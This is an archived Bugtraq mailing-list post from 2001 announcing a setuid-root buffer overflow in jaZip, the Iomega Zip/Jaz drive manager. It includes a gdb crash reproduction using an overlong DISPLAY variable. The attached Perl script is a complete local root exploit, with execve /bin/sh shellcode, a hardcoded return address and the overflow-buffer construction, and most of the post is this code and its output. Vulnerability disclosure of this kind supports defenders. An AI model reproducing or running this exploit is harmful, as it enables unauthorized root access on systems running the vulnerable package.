5959188 2001-01-14 17:05 +0000  /38 rader/ teleh0r <teleh0r@DOGLOVER.COM>
Sänt av: joel@lysator.liu.se
Importerad: 2001-01-15  19:24  av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: teleh0r@DOGLOVER.COM
Mottagare: Bugtraq (import) <14803>
Ärende: Vulnerability in jaZip.
------------------------------------------------------------
Dear, Bugtraq.

jaZip is a program for managing an Iomega Zip or Jaz drive.
It is often installed setuid root - and because of a buffer
overflow it is possible for regular users to become root.

Please excuse me if this was know. Please note that I can not
guarantee that this information is correct.

Tested rpm:
ftp://ftp.linux.com/pub/mirrors/turbolinux/turbolinux/TurboLinux/
RPMS/jaZip-0.32-2.i386.rpm

  [root@localhost /root]# export DISPLAY=`perl -e '{print
  "A"x"2100"}'` [root@localhost /root]# gdb /usr/X11R6/bin/jazip GNU
  gdb 19991004 Copyright 1998 Free Software Foundation, Inc.  (gdb) r
  Starting program: /usr/X11R6/bin/jazip

  Program received signal SIGSEGV, Segmentation fault.
  0x41414141 in ?? ()
  ----
  [teleh0r@localhost teleh0r]$ rpm -q jaZip
  jaZip-0.32-2
  [teleh0r@localhost teleh0r]$ ./jazip-exploit.pl
  Address: 0xbffff7ac
  bash#

Exploit attached.

Sincerely yours,
teleh0r

--
To avoid criticism, do nothing, say nothing, be nothing.
                -- Elbert Hubbard
(5959188) --------------------------------(Ombruten)
Bilaga (application/x-perl) i text 5959189
5959189 2001-01-14 17:05 +0000  /54 rader/ teleh0r <teleh0r@DOGLOVER.COM>
Bilagans filnamn: "jazip-exploit.pl"
Importerad: 2001-01-15  19:24  av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: teleh0r@DOGLOVER.COM
Mottagare: Bugtraq (import) <14804>
Bilaga (text/plain) till text 5959188
Ärende: Bilaga (jazip-exploit.pl) till: Vulnerability in jaZip.
------------------------------------------------------------
#!/usr/bin/perl

## jaZip Exploit / Tested version: jaZip-0.32-2 / anno 2000
## teleh0r@doglover.com / http://teleh0r.cjb.net/

$shellcode =                     # Shellcode by: Taeho Oh
    "\xeb\x1f".                  #/* jmp 0x1f              */
    "\x5e".                      #/* popl %esi             */
    "\x89\x76\x08".              #/* movl %esi,0x8(%esi)   */
    "\x31\xc0".                  #/* xorl %eax,%eax        */
    "\x88\x46\x07".              #/* movb %eax,0x7(%esi)   */
    "\x89\x46\x0c".              #/* movl %eax,0xc(%esi)   */
    "\xb0\x0b".                  #/* movb $0xb,%al         */
    "\x89\xf3".                  #/* movl %esi,%ebx        */
    "\x8d\x4e\x08".              #/* leal 0x8(%esi),%ecx   */
    "\x8d\x56\x0c".              #/* leal 0xc(%esi),%edx   */
    "\xcd\x80".                  #/* int $0x80             */
    "\x31\xdb".                  #/* xorl %ebx,%ebx        */
    "\x89\xd8".                  #/* movl %ebx,%eax        */
    "\x40".                      #/* inc %eax              */
    "\xcd\x80".                  #/* int $0x80             */
    "\xe8\xdc\xff\xff\xff".      #/* call -0x24            */
    "/bin/sh";                   #/* .string \"/bin/sh\"   */


$ret = 0xbffff7ac;  # May have to be modified.
$len = 2100;
$nop = 'A';

if (@ARGV == 1) {
    $offset = $ARGV[0];
}

for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
    $buffer .= $nop;
}

$buffer .= $shellcode;

print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");
$new_ret = pack('l',($ret + $offset));
$buffer .= $nop x 3; # May have to be modified.

for ($i += length($shellcode); $i < $len; $i += 4) {
    $buffer .= $new_ret;
}

if ($ENV{'DISPLAY'}) {
    delete($ENV{'DISPLAY'});
}

local($ENV{'DISPLAY'}) = $buffer;
exec("/usr/X11R6/bin/jazip");
(5959189) ------------------------------------------